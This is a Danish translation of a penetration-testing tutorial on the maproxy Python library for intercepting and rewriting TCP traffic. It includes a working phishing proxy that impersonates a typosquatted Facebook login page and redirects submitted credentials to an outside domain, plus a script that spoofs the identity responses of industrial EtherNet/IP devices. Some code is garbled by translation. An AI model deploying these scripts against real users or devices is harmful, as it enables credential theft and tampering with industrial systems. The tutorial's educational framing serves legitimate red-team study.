Behandle netværksdata på farten

Oversættelsen af ​​artiklen blev udarbejdet på tærsklen til kursets start "Pentest. Penetrationsprøvningspraksis".

Behandle netværksdata på farten

abstrakt

En række forskellige typer sikkerhedsvurderinger, lige fra almindelige penetrationstests og Red Team-operationer til hacking af IoT/ICS-enheder og SCADA, involverer arbejde med binære netværksprotokoller, det vil sige i det væsentlige at opsnappe og ændre netværksdata mellem klienten og målet. At sniffe netværkstrafik er ikke en vanskelig opgave, da vi har værktøjer som Wireshark, Tcpdump eller Scapy, men modifikation ser ud til at være en mere arbejdskrævende opgave, da vi bliver nødt til at have en form for grænseflade til at læse netværksdataene, filtrere dem, ændre dem. det på farten og sende det tilbage til målværten i næsten realtid. Derudover ville det være ideelt, hvis et sådant værktøj automatisk kunne arbejde med flere parallelle forbindelser og kunne tilpasses ved hjælp af scripts.

En dag opdagede jeg et værktøj kaldet maproxy, dokumentationen gjorde det hurtigt klart for mig maproxy – lige hvad jeg har brug for. Dette er en ret simpel, alsidig og let konfigurerbar TCP-proxy. Jeg testede dette værktøj på flere ret komplekse applikationer, inklusive ICS-enheder (som genererer mange pakker) for at se, om det kunne håndtere mange parallelle forbindelser, og værktøjet fungerede godt.

Denne artikel vil introducere dig til at behandle netværksdata på farten ved hjælp af maproxy.

Anmeldelse

Tool maproxy er baseret på Tornado, en populær og moden asynkron netværksramme i Python.

Generelt kan den fungere i flere tilstande:

  • TCP:TCP – ukrypterede TCP-forbindelser;
  • TCP:SSL и SSL:TCP – med envejskryptering;
  • SSL:SSL – to-vejs kryptering.

Det kommer som et bibliotek. For en hurtig start kan du bruge eksempelfiler, der afspejler det vigtigste biblioteksfunktioner:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

Case 1 – simpel tovejs proxy

Baseret på tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

Som standard ProxyServer() tager to argumenter - forbindelsesplaceringen og målporten. server.listen() tager et argument - porten til at lytte til den indgående forbindelse.

Udførelse af scriptet:

# python tcp2tcp.py

For at køre testen skal vi oprette forbindelse til en lokal SSH-server gennem vores proxy-script, som lytter på 2222/tcp port og tilsluttes en standardport 22/tcp SSH-servere:

Behandle netværksdata på farten

Velkomstbanneret informerer dig om, at vores eksempelscript har proxyiseret netværkstrafik.

Case 2 – dataændring

Endnu et demo-script logging_proxy.py ideel til interaktion med netværksdata. Kommentarerne i filen beskriver de klassemetoder, som du kan ændre for at nå dit mål:

Behandle netværksdata på farten

Det mest interessante er her:

  • on_c2p_done_read – at opsnappe data undervejs fra klienten til serveren;
  • on_p2s_done_read - omvendt.

Lad os prøve at ændre SSH-banneret, som serveren returnerer til klienten:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

Udfør scriptet:

Behandle netværksdata på farten

Som du kan se, blev klienten vildledt, fordi SSH-servernavnet for ham blev ændret til «DumnySSH».

Behandle netværksdata på farten

Case 3 – simpel phishing-webside

Der er uendelige måder at bruge dette værktøj på. Lad os denne gang fokusere på noget mere praktisk fra Red Team operations side. Lad os efterligne landingssiden m.facebook.com og brug et brugerdefineret domæne med en bevidst tastefejl, f.eks. m.facebok.com. Til demonstrationsformål, lad os bare antage, at domænet er registreret af os.

Vi vil etablere en ukrypteret netværksforbindelse med vores ofres proxy og SSL Stream til Facebook-serveren (31.13.81.36). For at få dette eksempel til at fungere, skal vi erstatte HTTP-værtsheaderen og indsætte det korrekte værtsnavn, og vi vil også deaktivere svarkomprimering, så vi nemt kan få adgang til indholdet. I sidste ende vil vi erstatte HTML-formularen, så loginoplysningerne sendes til os i stedet for Facebooks servere:

[…]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/da/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

Sammenfattende:

Behandle netværksdata på farten

Som du kan se, var vi i stand til at erstatte det originale websted.

Tilfælde 4 – Portering af Ethernet/IP

Jeg har beskæftiget mig med industrielle enheder og software (ICS/SCADA) i et stykke tid, såsom programmerbare controllere (PLC), I/O-moduler, drev, relæer, stigeprogrammeringsmiljøer og mange flere. Denne sag er for dem, der kan lide industrielle ting. Hacking af sådanne løsninger involverer aktivt at lege med netværksprotokoller. I det følgende eksempel vil jeg gerne vise, hvordan du kan ændre ICS/SCADA-netværkstrafikken.

For at gøre dette skal du bruge følgende:

  • Netværkssniffer, for eksempel Wireshark;
  • Ethernet/IP eller bare en SIP-enhed, du kan finde den ved hjælp af Shodan-tjenesten;
  • Vores manuskript er baseret på maproxy.

Lad os først se på, hvordan et typisk identifikationssvar fra CIP (Common Industrial Protocol) ser ud:

Behandle netværksdata på farten

Enhedsidentifikation udføres ved hjælp af Ethernet/IP-protokollen, som er en forbedret version af den industrielle Ethernet-protokol, der omslutter kontrolprotokoller såsom CIP. Vi vil ændre det fremhævede ID-navn, som er synligt på skærmbilledet "NI-IndComm for Ethernet" ved hjælp af vores proxy-script. Vi kunne genbruge scriptet logging_proxy.py og tilsvarende ændre klassemetoden on_p2s_done_read, fordi vi ønsker, at et andet identitetsnavn skal være synligt på klienten.

Code:

[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'x0cx00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

Grundlæggende bad vi om enhedsidentifikation to gange, det andet svar var det originale, og det første blev ændret på et øjeblik.

Og den sidste

Efter min mening maproxy Et praktisk og enkelt værktøj, som også er skrevet i Python, så jeg tror på, at du også kan drage fordel af at bruge det. Selvfølgelig er der mere komplekse værktøjer til at behandle og ændre netværksdata, men de kræver også mere opmærksomhed og er normalt skabt til en specifik use case, f.eks. muraena, Modlishka eller evilginx for tilfælde, der ligner den tredje, eller canape for den sidste sag. På den ene eller anden måde med hjælp maproxy du kan hurtigt implementere dine ideer til at opsnappe netværksdata, da eksempelscripts er meget klare.

Test af godkendelsesmekanismer i Windows AD

Kilde: www.habr.com

Tilføj en kommentar